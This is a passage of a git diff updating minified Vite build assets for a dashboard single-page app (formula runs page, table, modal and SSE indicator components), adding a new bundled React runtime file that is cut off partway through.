ae({summary:t,now:n,attentionSeverity:r}){const[s,a]=x.useState(!1),i=t.historicalLanes,d=s?i:i.slice(0,h);return e.jsxs("section",{id:C,"aria-label":"Historical runs",className:"mt-12",children:[e.jsx("h2",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Historical"}),i.length===0?e.jsx("p",{className:"mt-3 text-body text-fg-muted italic",children:"No completed runs in the current window."}):e.jsxs(e.Fragment,{children:[e.jsx(H,{lanes:d,now:n,listId:S,...r===void 0?{}:{attentionSeverity:r}}),i.length>h&&e.jsx("button",{type:"button",onClick:()=>a(l=>!l),"aria-expanded":s,"aria-controls":S,className:"mt-3 text-label uppercase tracking-wider text-fg-faint tnum hover:text-fg focus-mark",children:s?"Show fewer":`Show ${i.length-h} more`}),t.totalHistorical>i.length&&e.jsxs("p",{className:"mt-3 text-label uppercase tracking-wider text-fg-faint tnum",children:["Showing ",i.length," most-recent of ",t.totalHistorical]})]})]})}function A({summary:t}){const n=t?.runCounts.total??0,r=t?.runCounts.blocked??0;return e.jsx("header",{className:"space-y-2",children:e.jsxs("div",{className:"flex items-baseline gap-x-6 gap-y-2 flex-wrap",children:[e.jsx(g,{label:"Active",value:n,tone:"strong"}),X.map(([s,a])=>e.jsx(g,{label:a,value:t?.runCounts[s]??0,tone:"muted"},s)),r>0&&e.jsx(g,{label:"Blocked",value:r,tone:"muted"})]})})}function g({label:t,value:n,tone:r}){const s=r==="strong"?"text-fg":"text-fg-muted";return e.jsxs("div",{className:"flex flex-col",children:[e.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint",children:t}),e.jsx("span",{className:`text-title tnum ${s}`,children:n})]})}const re=C,L="Phase grammar: intake, implementation, review, approval, finalization.",b="history",y="1";function xe(){const t=M(),{source:n,loading:r,error:s,refresh:a,sseState:i}=U(),[d,l]=z(),c=d.get(b)===y,j=V(),o=n??null,N=o?.status==="fresh"||o?.status==="fixture"||o?.status==="stale"?o.data:null,u=N?.totalHistorical??0,$=N?.lanesPartial===!0,P=x.useCallback(()=>{l(m=>{const p=new URLSearchParams(m);return c?p.delete(b):p.set(b,y),p},{replace:!1})},[c,l]),E=x.useCallback(m=>Y(t,"runs",m.id),[t]),T=ne(n),v=o?o.status==="fresh"?null:o.status==="fixture"?"fixture data":o.status==="error"?"live data unavailable":o.fetchedAt?`stale ${_(o.fetchedAt,j)} ago`:"stale":null;return e.jsxs("section",{children:[e.jsx(K,{title:"Formula Runs",synopsis:T,className:"md:items-start",meta:e.jsxs(e.Fragment,{children:[s&&e.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:s}),v!==null&&e.jsx("span",{className:`text-label uppercase tracking-wider tnum ${o?.status==="error"?"text-accent":"text-fg-faint"}`,children:v}),e.jsxs("div",{className:"grid w-full min-w-[18rem] grid-cols-[7rem_minmax(6.5rem,1fr)] items-center gap-x-4 gap-y-3 sm:w-[34rem] sm:grid-cols-[7rem_6.5rem_10rem_7rem]",children:[e.jsx(Q,{state:i}),e.jsx("span",{children:$?e.jsx(q,{glyph:"◐",label:"runs partial",title:"one or more rigs' recent runs were unavailable; the lane set may be incomplete"}):e.jsx("span",{"aria-hidden":"true",className:"invisible normal-case text-body text-warn",children:"runs partial"})}),e.jsx(w,{size:"sm",className:"w-full justify-center",onClick:P,disabled:!c&&u===0,"aria-expanded":c,...c?{"aria-controls":re}:{},"aria-label":c?"Hide historical formula runs.":u===0?"No completed formula runs in the current window.":`Show ${u} completed formula runs.`,children:c?"Hide history":u>0?`Show history (${u})`:"Show history"}),e.jsx(w,{size:"sm",className:"w-full justify-center",onClick:()=>{a()},disabled:r,children:r?"Refreshing":"Refresh"})]})]})}),n===void 0||o===null?e.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading formula runs."}):e.jsx(J,{source:o,now:j,showHistory:c,attentionSeverity:E})]})}function ne(t){return t===void 0?"Loading formula run lanes.":t.status!=="error"?`${t.data.totalActive} active runs across the supervisor's bead store. ${L}`:`Run counts unavailable: ${t.error}. ${L}`}export{xe as RunsPage};
diff --git a/internal/api/dashboardspa/dist/assets/SseIndicator-iUpgegKX.js b/internal/api/dashboardspa/dist/assets/SseIndicator-DGo-aCtn.js
similarity index 88%
rename from internal/api/dashboardspa/dist/assets/SseIndicator-iUpgegKX.js
rename to internal/api/dashboardspa/dist/assets/SseIndicator-DGo-aCtn.js
index f8133ebb61..71fa5c7a00 100644
--- a/internal/api/dashboardspa/dist/assets/SseIndicator-iUpgegKX.js
+++ b/internal/api/dashboardspa/dist/assets/SseIndicator-DGo-aCtn.js
@@ -1 +1 @@
-import{j as a,S as t}from"./index-fZITW1u7.js";function i({label:n,title:e,show:r=!0,glyph:o}){return r?a.jsxs("span",{className:"normal-case text-body text-warn",role:"status",title:e,children:[o!==void 0&&a.jsxs("span",{"aria-hidden":"true",children:[o," "]}),n]}):null}function c({state:n}){const e=n==="open"?"ok":n==="connecting"||n==="degraded"?"warn":"stuck",r=n==="open"?"live":n==="connecting"?"connecting":n==="degraded"?"degraded":"offline";return a.jsx(t,{tone:e,label:r,title:`SSE stream: ${n}`,className:"w-28"})}export{i as P,c as S};
+import{j as a,S as t}from"./index-BFDP6Xwd.js";function i({label:n,title:e,show:r=!0,glyph:o}){return r?a.jsxs("span",{className:"normal-case text-body text-warn",role:"status",title:e,children:[o!==void 0&&a.jsxs("span",{"aria-hidden":"true",children:[o," "]}),n]}):null}function c({state:n}){const e=n==="open"?"ok":n==="connecting"||n==="degraded"?"warn":"stuck",r=n==="open"?"live":n==="connecting"?"connecting":n==="degraded"?"degraded":"offline";return a.jsx(t,{tone:e,label:r,title:`SSE stream: ${n}`,className:"w-28"})}export{i as P,c as S};
diff --git a/internal/api/dashboardspa/dist/assets/StageLadder-DyvNM-62.js b/internal/api/dashboardspa/dist/assets/StageLadder-BIFUAoAh.js
similarity index 91%
rename from internal/api/dashboardspa/dist/assets/StageLadder-DyvNM-62.js
rename to internal/api/dashboardspa/dist/assets/StageLadder-BIFUAoAh.js
index b5332537d0..42f277072a 100644
--- a/internal/api/dashboardspa/dist/assets/StageLadder-DyvNM-62.js
+++ b/internal/api/dashboardspa/dist/assets/StageLadder-BIFUAoAh.js
@@ -1 +1 @@
-import{j as t}from"./index-fZITW1u7.js";const n={pending:"·",active:"⬣",complete:"◆",blocked:"✕"},c={pending:"text-fg-faint",active:"text-fg",complete:"text-fg-muted",blocked:"text-accent"},s={pending:"text-fg-muted",active:"text-fg",complete:"text-fg-muted",blocked:"text-accent"};function r({stages:a,label:l}){return a.length===0?null:t.jsx("ol",{className:"mt-2 flex items-baseline gap-x-2 flex-wrap","aria-label":`${l} stages`,children:a.map(e=>t.jsxs("li",{className:`text-label uppercase tracking-wider ${c[e.status]}`,title:`${e.label}: ${e.status}`,children:[t.jsx("span",{"aria-hidden":"true",children:n[e.status]})," ",t.jsx("span",{className:s[e.status],children:e.label})]},e.key))})}export{r as S};
+import{j as t}from"./index-BFDP6Xwd.js";const n={pending:"·",active:"⬣",complete:"◆",blocked:"✕"},c={pending:"text-fg-faint",active:"text-fg",complete:"text-fg-muted",blocked:"text-accent"},s={pending:"text-fg-muted",active:"text-fg",complete:"text-fg-muted",blocked:"text-accent"};function r({stages:a,label:l}){return a.length===0?null:t.jsx("ol",{className:"mt-2 flex items-baseline gap-x-2 flex-wrap","aria-label":`${l} stages`,children:a.map(e=>t.jsxs("li",{className:`text-label uppercase tracking-wider ${c[e.status]}`,title:`${e.label}: ${e.status}`,children:[t.jsx("span",{"aria-hidden":"true",children:n[e.status]})," ",t.jsx("span",{className:s[e.status],children:e.label})]},e.key))})}export{r as S};
diff --git a/internal/api/dashboardspa/dist/assets/Table-YkXdgAfn.js b/internal/api/dashboardspa/dist/assets/Table-3q0HSJQI.js
similarity index 96%
rename from internal/api/dashboardspa/dist/assets/Table-YkXdgAfn.js
rename to internal/api/dashboardspa/dist/assets/Table-3q0HSJQI.js
index 00cb08c535..c9c62b27e2 100644
--- a/internal/api/dashboardspa/dist/assets/Table-YkXdgAfn.js
+++ b/internal/api/dashboardspa/dist/assets/Table-3q0HSJQI.js
@@ -1 +1 @@
-import{r as x,j as t}from"./index-fZITW1u7.js";function y({columns:i,rows:d,rowKey:f,onRowClick:c,rowProps:h,empty:b,initialSort:g}){const[n,p]=x.useState(g??null),m=x.useMemo(()=>{if(n===null)return d;const e=i.find(r=>r.key===n.key);if(!e||!e.sortable)return d;const s=e.sortValue??(r=>String(e.render(r)??"")),a=n.dir==="asc"?1:-1;return[...d].sort((r,u)=>{const l=s(r),o=s(u);return l===o?0:l==null?-a:o==null?a:l<o?-a:l>o?a:0})},[d,i,n]),N=e=>{p(s=>s?.key!==e?{key:e,dir:"asc"}:{key:e,dir:s.dir==="asc"?"desc":"asc"})};return t.jsx("div",{className:"overflow-x-auto",children:t.jsxs("table",{className:"w-full text-body tnum",children:[t.jsx("thead",{children:t.jsx("tr",{className:"border-b border-rule text-label uppercase tracking-wider text-fg-muted",children:i.map(e=>{const s=n?.key===e.key,a=e.align==="right"?"text-right":"text-left";return t.jsx("th",{scope:"col",className:`pb-3 pr-6 font-medium select-none ${a} ${e.className??""}`,children:e.sortable?t.jsxs("button",{type:"button",onClick:()=>N(e.key),className:"inline-flex items-center gap-1 hover:text-fg transition-colors duration-150 ease-out-quart focus-mark rounded-sm",children:[e.label,s&&t.jsx("span",{"aria-hidden":!0,className:"text-accent",children:n?.dir==="asc"?"↑":"↓"})]}):e.label},e.key)})})}),t.jsx("tbody",{children:m.length===0?t.jsx("tr",{children:t.jsx("td",{colSpan:i.length,className:"py-10 text-center text-fg-muted italic",children:b??"No data"})}):m.map(e=>{const{className:s="",...a}=h?.(e)??{};return x.createElement("tr",{...a,key:f(e),onClick:c?()=>c(e):void 0,className:`border-b border-rule transition-colors duration-150 ease-out-quart ${c?"cursor-pointer hover:bg-surface-tint":""} ${s}`},i.map(r=>{const u=r.align==="right"?"text-right":"text-left";return t.jsx("td",{className:`py-3 pr-6 align-baseline ${u} ${r.className??""}`,children:r.render(e)},r.key)}))})})]})})}export{y as T};
+import{r as x,j as t}from"./index-BFDP6Xwd.js";function y({columns:i,rows:d,rowKey:f,onRowClick:c,rowProps:h,empty:b,initialSort:g}){const[n,p]=x.useState(g??null),m=x.useMemo(()=>{if(n===null)return d;const e=i.find(r=>r.key===n.key);if(!e||!e.sortable)return d;const s=e.sortValue??(r=>String(e.render(r)??"")),a=n.dir==="asc"?1:-1;return[...d].sort((r,u)=>{const l=s(r),o=s(u);return l===o?0:l==null?-a:o==null?a:l<o?-a:l>o?a:0})},[d,i,n]),N=e=>{p(s=>s?.key!==e?{key:e,dir:"asc"}:{key:e,dir:s.dir==="asc"?"desc":"asc"})};return t.jsx("div",{className:"overflow-x-auto",children:t.jsxs("table",{className:"w-full text-body tnum",children:[t.jsx("thead",{children:t.jsx("tr",{className:"border-b border-rule text-label uppercase tracking-wider text-fg-muted",children:i.map(e=>{const s=n?.key===e.key,a=e.align==="right"?"text-right":"text-left";return t.jsx("th",{scope:"col",className:`pb-3 pr-6 font-medium select-none ${a} ${e.className??""}`,children:e.sortable?t.jsxs("button",{type:"button",onClick:()=>N(e.key),className:"inline-flex items-center gap-1 hover:text-fg transition-colors duration-150 ease-out-quart focus-mark rounded-sm",children:[e.label,s&&t.jsx("span",{"aria-hidden":!0,className:"text-accent",children:n?.dir==="asc"?"↑":"↓"})]}):e.label},e.key)})})}),t.jsx("tbody",{children:m.length===0?t.jsx("tr",{children:t.jsx("td",{colSpan:i.length,className:"py-10 text-center text-fg-muted italic",children:b??"No data"})}):m.map(e=>{const{className:s="",...a}=h?.(e)??{};return x.createElement("tr",{...a,key:f(e),onClick:c?()=>c(e):void 0,className:`border-b border-rule transition-colors duration-150 ease-out-quart ${c?"cursor-pointer hover:bg-surface-tint":""} ${s}`},i.map(r=>{const u=r.align==="right"?"text-right":"text-left";return t.jsx("td",{className:`py-3 pr-6 align-baseline ${u} ${r.className??""}`,children:r.render(e)},r.key)}))})})]})})}export{y as T};
diff --git a/internal/api/dashboardspa/dist/assets/agentReads-B_zbPymi.js b/internal/api/dashboardspa/dist/assets/agentReads-DcDPDlRM.js
similarity index 80%
rename from internal/api/dashboardspa/dist/assets/agentReads-B_zbPymi.js
rename to internal/api/dashboardspa/dist/assets/agentReads-DcDPDlRM.js
index 49d4ce7c82..38faa54dfd 100644
--- a/internal/api/dashboardspa/dist/assets/agentReads-B_zbPymi.js
+++ b/internal/api/dashboardspa/dist/assets/agentReads-DcDPDlRM.js
@@ -1 +1 @@
-import{J as e,K as i}from"./index-fZITW1u7.js";async function n(){const r=await e().listAgents(i("list supervisor agents"));return{...r,items:r.items??[]}}async function a(r){const t=r.trim();if(t.length===0)throw new Error("agent alias is required");return e().agentPrime(i("fetch supervisor agent prime"),t)}export{a as f,n as l};
+import{I as e,J as i}from"./index-BFDP6Xwd.js";async function n(){const r=await e().listAgents(i("list supervisor agents"));return{...r,items:r.items??[]}}async function a(r){const t=r.trim();if(t.length===0)throw new Error("agent alias is required");return e().agentPrime(i("fetch supervisor agent prime"),t)}export{a as f,n as l};
diff --git a/internal/api/dashboardspa/dist/assets/constants-D2ZRoVbf.js b/internal/api/dashboardspa/dist/assets/constants-DOaI3lZl.js
similarity index 95%
rename from internal/api/dashboardspa/dist/assets/constants-D2ZRoVbf.js
rename to internal/api/dashboardspa/dist/assets/constants-DOaI3lZl.js
index f89aaf682e..23b7338bf0 100644
--- a/internal/api/dashboardspa/dist/assets/constants-D2ZRoVbf.js
+++ b/internal/api/dashboardspa/dist/assets/constants-DOaI3lZl.js
@@ -1 +1 @@
-import{r as o,j as e}from"./index-fZITW1u7.js";function m({open:s,onClose:t,title:i,caption:a,children:l,footer:n,widthClass:d="max-w-3xl"}){return o.useEffect(()=>{if(!s)return;const r=c=>{c.key==="Escape"&&t()};return document.addEventListener("keydown",r),()=>document.removeEventListener("keydown",r)},[s,t]),s?e.jsx("div",{role:"dialog","aria-modal":"true",className:"fixed inset-0 z-50 flex items-start sm:items-center justify-center bg-fg/30 p-3 sm:p-6",onClick:t,children:e.jsxs("div",{className:`w-full ${d} bg-surface border border-rule rounded-md flex flex-col max-h-[90vh]`,onClick:r=>r.stopPropagation(),children:[e.jsxs("div",{className:"flex items-start justify-between gap-3 px-5 py-4 border-b border-rule",children:[e.jsxs("div",{className:"min-w-0",children:[e.jsx("h2",{className:"text-title font-semibold text-fg truncate",children:i}),a&&e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-muted mt-1 truncate",children:a})]}),e.jsx("button",{type:"button",onClick:t,"aria-label":"Close",className:"text-fg-muted hover:text-fg transition-colors duration-150 ease-out-quart focus-mark text-lg leading-none px-1",children:"×"})]}),e.jsx("div",{className:"flex-1 overflow-auto p-5 text-body text-fg",children:l}),n&&e.jsx("div",{className:"border-t border-rule px-5 py-3 flex items-center justify-end gap-3",children:n})]})}):null}const u="Content is agent-generated and may contain misleading instructions.";export{m as M,u as P};
+import{r as o,j as e}from"./index-BFDP6Xwd.js";function m({open:s,onClose:t,title:i,caption:a,children:l,footer:n,widthClass:d="max-w-3xl"}){return o.useEffect(()=>{if(!s)return;const r=c=>{c.key==="Escape"&&t()};return document.addEventListener("keydown",r),()=>document.removeEventListener("keydown",r)},[s,t]),s?e.jsx("div",{role:"dialog","aria-modal":"true",className:"fixed inset-0 z-50 flex items-start sm:items-center justify-center bg-fg/30 p-3 sm:p-6",onClick:t,children:e.jsxs("div",{className:`w-full ${d} bg-surface border border-rule rounded-md flex flex-col max-h-[90vh]`,onClick:r=>r.stopPropagation(),children:[e.jsxs("div",{className:"flex items-start justify-between gap-3 px-5 py-4 border-b border-rule",children:[e.jsxs("div",{className:"min-w-0",children:[e.jsx("h2",{className:"text-title font-semibold text-fg truncate",children:i}),a&&e.jsx("p",{className:"text-label uppercase tracking-wider text-fg-muted mt-1 truncate",children:a})]}),e.jsx("button",{type:"button",onClick:t,"aria-label":"Close",className:"text-fg-muted hover:text-fg transition-colors duration-150 ease-out-quart focus-mark text-lg leading-none px-1",children:"×"})]}),e.jsx("div",{className:"flex-1 overflow-auto p-5 text-body text-fg",children:l}),n&&e.jsx("div",{className:"border-t border-rule px-5 py-3 flex items-center justify-end gap-3",children:n})]})}):null}const u="Content is agent-generated and may contain misleading instructions.";export{m as M,u as P};
diff --git a/internal/api/dashboardspa/dist/assets/index-BFDP6Xwd.js b/internal/api/dashboardspa/dist/assets/index-BFDP6Xwd.js
new file mode 100644
index 0000000000..34abe50fea
--- /dev/null
+++ b/internal/api/dashboardspa/dist/assets/index-BFDP6Xwd.js
@@ -0,0 +1,73 @@
+const __vite__mapDeps=(i,m=__vite__mapDeps,d=(m.f||(m.f=["assets/Activity-C0ndMSgp.js","assets/routeHighlight-B30gQO2o.js","assets/PageHeader-5RHLpIfH.js","assets/time-D9v0saHV.js","assets/useVisibleRefresh-Bxd6CPUo.js","assets/Health-DWOkvU0J.js","assets/format-fte2CeYD.js","assets/Agents-sZ3Kn-9C.js","assets/context-window-Cu9zl36t.js","assets/projectOf-CJPpTC86.js","assets/constants-DOaI3lZl.js","assets/SseIndicator-DGo-aCtn.js","assets/LiveSessionPeek-Cjv3DcC3.js","assets/Table-3q0HSJQI.js","assets/agentReads-DcDPDlRM.js","assets/AgentDetail-4AW6d3TF.js","assets/BeadDetailModal-BKOlUSQL.js","assets/Field-BpdGqWpv.js","assets/AmbientHome-QKhI8-ES.js","assets/Beads-CRhPo2Gt.js","assets/useListFilters-CE9qAvrH.js","assets/Mail-CfeMOQZF.js","assets/FormulaRunDetail-BIoITriX.js","assets/StageLadder-BIFUAoAh.js","assets/Runs-DlWanzbB.js"])))=>i.map(i=>d[i]);
+function Pg(t,r){for(var i=0;i<r.length;i++){const s=r[i];if(typeof s!="string"&&!Array.isArray(s)){for(const u in s)if(u!=="default"&&!(u in t)){const p=Object.getOwnPropertyDescriptor(s,u);p&&Object.defineProperty(t,u,p.get?p:{enumerable:!0,get:()=>s[u]})}}}return Object.freeze(Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}))}(function(){const r=document.createElement("link").relList;if(r&&r.supports&&r.supports("modulepreload"))return;for(const u of document.querySelectorAll('link[rel="modulepreload"]'))s(u);new MutationObserver(u=>{for(const p of u)if(p.type==="childList")for(const d of p.addedNodes)d.tagName==="LINK"&&d.rel==="modulepreload"&&s(d)}).observe(document,{childList:!0,subtree:!0});function i(u){const p={};return u.integrity&&(p.integrity=u.integrity),u.referrerPolicy&&(p.referrerPolicy=u.referrerPolicy),u.crossOrigin==="use-credentials"?p.credentials="include":u.crossOrigin==="anonymous"?p.credentials="omit":p.credentials="same-origin",p}function s(u){if(u.ep)return;u.ep=!0;const p=i(u);fetch(u.href,p)}})();function qf(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"default")?t.default:t}var Al={exports:{}},Vo={},Ol={exports:{}},he={};var Mp;function Ng(){if(Mp)return he;Mp=1;var t=Symbol.for("react.element"),r=Symbol.for("react.portal"),i=Symbol.for("react.fragment"),s=Symbol.for("react.strict_mode"),u=Symbol.for("react.profiler"),p=Symbol.for("react.provider"),d=Symbol.for("react.context"),m=Symbol.for("react.forward_ref"),g=Symbol.for("react.suspense"),y=Symbol.for("react.memo"),E=Symbol.for("react.lazy"),S=Symbol.iterator;function T(z){return z===null||typeof z!="object"?null:(z=S&&z[S]||z["@@iterator"],typeof z=="function"?z:null)}var A={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},D=Object.assign,W={};function O(z,F,me){this.props=z,this.context=F,this.refs=W,this.updater=me||A}O.prototype.isReactComponent={},O.prototype.setState=function(z,F){if(typeof z!="object"&&typeof z!="function"&&z!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,z,F,"setState")},O.prototype.forceUpdate=function(z){this.updater.enqueueForceUpdate(this,z,"forceUpdate")};function H(){}H.prototype=O.prototype;function oe(z,F,me){this.props=z,this.context=F,this.refs=W,this.updater=me||A}var Q=oe.prototype=new H;Q.constructor=oe,D(Q,O.prototype),Q.isPureReactComponent=!0;var G=Array.isArray,ee=Object.prototype.hasOwnProperty,ue={current:null},de={key:!0,ref:!0,__self:!0,__source:!0};function pe(z,F,me){var ge,we={},xe=null,Ce=null;if(F!=null)for(ge in F.ref!==void 0&&(Ce=F.ref),F.key!==void 0&&(xe=""+F.key),F)ee.call(F,ge)&&!de.hasOwnProperty(ge)&&(we[ge]=F[ge]);var ke=arguments.length-2;if(ke===1)we.children=me;else if(1<ke){for(var Ae=Array(ke),bt=0;bt<ke;bt++)Ae[bt]=arguments[bt+2];we.children=Ae}if(z&&z.defaultProps)for(ge in ke=z.defaultProps,ke)we[ge]===void 0&&(we[ge]=ke[ge]);return{$$typeof:t,type:z,key:xe,ref:Ce,props:we,_owner:ue.current}}function Re(z,F){return{$$typeof:t,type:z.type,key:F,ref:z.ref,props:z.props,_owner:z._owner}}function ye(z){return typeof z=="object"&&z!==null&&z.$$typeof===t}function Ze(z){var F={"=":"=0",":":"=2"};return"$"+z.replace(/[=:]/g,function(me){return F[me]})}var Ke=/\/+/g;function et(z,F){return typeof z=="object"&&z!==null&&z.key!=null?Ze(""+z.key):F.toString(36)}function Qe(z,F,me,ge,we){var xe=typeof z;(xe==="undefined"||xe==="boolean")&&(z=null);var Ce=!1;if(z===null)Ce=!0;else switch(xe){case"string":case"number":Ce=!0;break;case"object":switch(z.$$typeof){case t:case r:Ce=!0}}if(Ce)return Ce=z,we=we(Ce),z=ge===""?"."+et(Ce,0):ge,G(we)?(me="",z!=null&&(me=z.replace(Ke,"$&/")+"/"),Qe(we,F,me,"",function(bt){return bt})):we!=null&&(ye(we)&&(we=Re(we,me+(!we.key||Ce&&Ce.key===we.key?"":(""+we.key).replace(Ke,"$&/")+"/")+z)),F.push(we)),1;if(Ce=0,ge=ge===""?".":ge+":",G(z))for(var ke=0;ke<z.length;ke++){xe=z[ke];var Ae=ge+et(xe,ke);Ce+=Qe(xe,F,me,Ae,we)}else if(Ae=T(z),typeof Ae=="function")for(z=Ae.call(z),ke=0;!(xe=z.next()).done;)xe=xe.value,Ae=ge+et(xe,ke++),Ce+=Qe(xe,F,me,Ae,we);else if(xe==="object")throw F=String(z),Error("Objects are not valid as a React child (found: "+(F==="[object Object]"?"object with keys {"+Object.keys(z).join(", ")+"}":F)+"). If you meant to render a collection of children, use an array instead.");return Ce}function kt(z,F,me){if(z==null)return z;var ge=[],we=0;return Qe(z,ge,"","",function(xe){return F.call(me,xe,we++)}),ge}function vt(z){if(z._status===-1){var F=z._result;F=F(),F.then(function(me){(z._status===0||z._status===-1)&&(z._status=1,z._result=me)},function(me){(z._status===0||z._status===-1)&&(z._status=2,z._result=me)}),z._status===-1&&(z._status=0,z._result=F)}if(z._status===1)return z._result.default;throw z._result}var qe={current:null},J={transition:null},le={ReactCurrentDispatcher:qe,ReactCurrentBatchConfig:J,ReactCurrentOwner:ue};function X(){throw Error("act(...) is not supported in production builds of React.")}return he.Children={map:kt,forEach:function(z,F,me){kt(z,function(){F.apply(this,arguments)},me)},count:function(z){var F=0;return kt(z,function(){F++}),F},toArray:function(z){return kt(z,function(F){return F})||[]},only:function(z){if(!ye(z))throw Error("React.Children.only expected to receive a single React element child.");return z}},he.Component=O,he.Fragment=i,he.Profiler=u,he.PureComponent=oe,he.StrictMode=s,he.Suspense=g,he.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=le,he.act=X,he.cloneElement=function(z,F,me){if(z==null)throw Error("React.cloneElement(...): The argument must be a React element, but you passed "+z+".");var ge=D({},z.props),we=z.key,xe=z.ref,Ce=z._owner;if(F!=null){if(F.ref!==void 0&&(xe=F.ref,Ce=ue.current),F.key!==void 0&&(we=""+F.key),z.type&&z.type.defaultProps)var ke=z.type.defaultProps;for(Ae in F)ee.call(F,Ae)&&!de.hasOwnProperty(Ae)&&(ge[Ae]=F[Ae]===void 0&&ke!==void 0?ke[Ae]:F[Ae])}var Ae=arguments.length-2;if(Ae===1)ge.children=me;else if(1<Ae){ke=Array(Ae);for(var bt=0;bt<Ae;bt++)ke[bt]=arguments[bt+2];ge.children=ke}return{$$typeof:t,type:z.type,key:we,ref:xe,props:ge,_owner:Ce}},he.createContext=function(z){return z={$$typeof:d,_currentValue:z,_currentValue2:z,_threadCount:0,Provider:null,Consumer:null,_defaultValue:null,_globalName:null},z.Provider={$$typeof:p,_context:z},z.Consumer=z},he.createElement=pe,he.createFactory=function(z){var F=pe.bind(null,z);return F.type=z,F},he.createRef=function(){return{current:null}},he.forwardRef=function(z){return{$$typeof:m,render:z}},he.isValidElement=ye,he.lazy=function(z){return{$$typeof:E,_payload:{_status:-1,_result:z},_init:vt}},he.memo=function(z,F){return{$$typeof:y,type:z,compare:F===void 0?null:F}},he.startTransition=function(z){var F=J.transition;J.transition={};try{z()}finally{J.transition=F}},he.unstable_act=X,he.useCallback=function(z,F){return qe.current.useCallback(z,F)},he.useContext=function(z){return qe.current.useContext(z)},he.useDebugValue=function(){},he.useDeferredValue=function(z){return qe.current.useDeferredValue(z)},he.useEffect=function(z,F){return qe.current.useEffect(z,F)},he.useId=function(){return qe.current.useId()},he.useImperativeHandle=function(z,F,me){return qe.current.useImperativeHandle(z,F,me)},he.useInsertionEffect=function(z,F){return qe.current.useInsertionEffect(z,F)},he.useLayoutEffect=function(z,F){return qe.current.useLayoutEffect(z,F)},he.useMemo=function(z,F){return qe.current.useMemo(z,F)},he.useReducer=function(z,F,me){return qe.current.useReducer(z,F,me)},he.useRef=function(z){return qe.current.useRef(z)},he.useState=function(z){return qe.current.useState(z)},he.useSyncExternalStore=function(z,F,me){return qe.current.useSyncExternalStore(z,F,me)},he.useTransition=function(){return qe.current.useTransition()},he.version="18.3.1",he}var Fp;function iu(){return Fp||(Fp=1,Ol.exports=Ng()),Ol.exports}var Up;function Ag(){if(Up)return Vo;Up=1;var t=iu(),r=Symbol.for("react.element"),i=Symbol.for("react.fragment"),s=Object.prototype.hasOwnProperty,u=t.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,p={key:!0,ref:!0,__self:!0,__source:!0};function d(m,g,y){var E,S={},T=null,A=null;y!==void 0&&(T=""+y),g.key!==void 0&&(T=""+g.key),g.ref!==void 0&&(A=g.ref);for(E in g)s.call(g,E)&&!p.hasOwnProperty(E)&&(S[E]=g[E]);if(m&&m.defaultProps)for(E in g=m.defaultProps,g)S[E]===void 0&&(S[E]=g[E]);return{$$typeof:r,type:m,key:T,ref:A,props:S,_owner:u.current}}return Vo.Fragment=i,Vo.jsx=d,Vo.jsxs=d,Vo}var Zp;function Og(){return Zp||(Zp=1,Al.exports=Ag()),Al.exports}var $=Og(),b=iu();const Vf=qf(b),jg=Pg({__proto__:null,default:Vf},[b]);var fa={},jl={exports:{}},xt={},$l={exports:{}},Ll={};var qp;function $g(){return qp||(qp=1,(function(t){function r(J,le){var X=J.length;J.push(le);e:for(;0<X;){var z=X-1>>>1,F=J[z];if(0<u(F,le))J[z]=le,J[X]=F,X=z;else break e}}function i(J){return J.length===0?null:J[0]}function s(J){if(J.length===0)return null;var le=J[0],X=J.pop();if(X!==le){J[0]=X;e:for(var z=0,F=J.length,me=F>>>1;z<me;){var ge=2*(z+1)-1,we=J[ge],xe=ge+1,Ce=J[xe];if(0>u(we,X))xe<F&&0>u(Ce,we)?(J[z]=Ce,J[xe]=X,z=xe):(J[z]=we,J[ge]=X,z=ge);else if(xe<F&&0>u(Ce,X))J[z]=Ce,J[xe]=X,z=xe;else break e}}return le}function u(J,le){var X=J.sortIndex-le.sortIndex;return X!==0?X:J.id-le.id}if(typeof performance=="object"&&typeof performance.now=="function"){var p=performance;t.unstable_now=function(){return p.now()}}else{var d=Date,m=d.now();t.unstable_now=function(){return d.now()-m}}var g=[],y=[],E=1,S=null,T=3,A=!1,D=!1,W=!1,O=typeof setTimeout=="function"?setTimeout:null,H=typeof clearTimeout=="function"?clearTimeout:null,oe=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function Q(J){for(var le=i(y);le!==null;){if(le.callback===null)s(y);else if(le.startTime<=J)s(y),le.sortIndex=le.expirationTime,r(g,le);else break;le=i(y)}}function G(J){if(W=!1,Q(J),!D)if(i(g)!==null)D=!0,vt(ee);else{var le=i(y);le!==null&&qe(G,le.startTime-J)}}function ee(J,le){D=!1,W&&(W=!1,H(pe),pe=-1),A=!0;var X=T;try{for(Q(le),S=i(g);S!==null&&(!(S.expirationTime>le)||J&&!Ze());){var z=S.callback;if(typeof z=="function"){S.callback=null,T=S.priorityLevel;var F=z(S.expirationTime<=le);le=t.unstable_now(),typeof F=="function"?S.callback=F:S===i(g)&&s(g),Q(le)}else s(g);S=i(g)}if(S!==null)var me=!0;else{var ge=i(y);ge!==null&&qe(G,ge.startTime-le),me=!1}return me}finally{S=null,T=X,A=!1}}var ue=!1,de=null,pe=-1,Re=5,ye=-1;function Ze(){return!(t.unstable_now()-ye<Re)}function Ke(){if(de!==null){var J=t.unstable_now();ye=J;var le=!0;try{le=de(!0,J)}finally{le?et():(ue=!1,de=null)}}else ue=!1}var et;if(typeof oe=="function")et=function(){oe(Ke)};else if(typeof MessageChannel<"u"){var Qe=new MessageChannel,kt=Qe.port2;Qe.port1.onmessage=Ke,et=function(){kt.postMessage(null)}}else et=function(){O(Ke,0)};function vt(J){de=J,ue||(ue=!0,et())}function 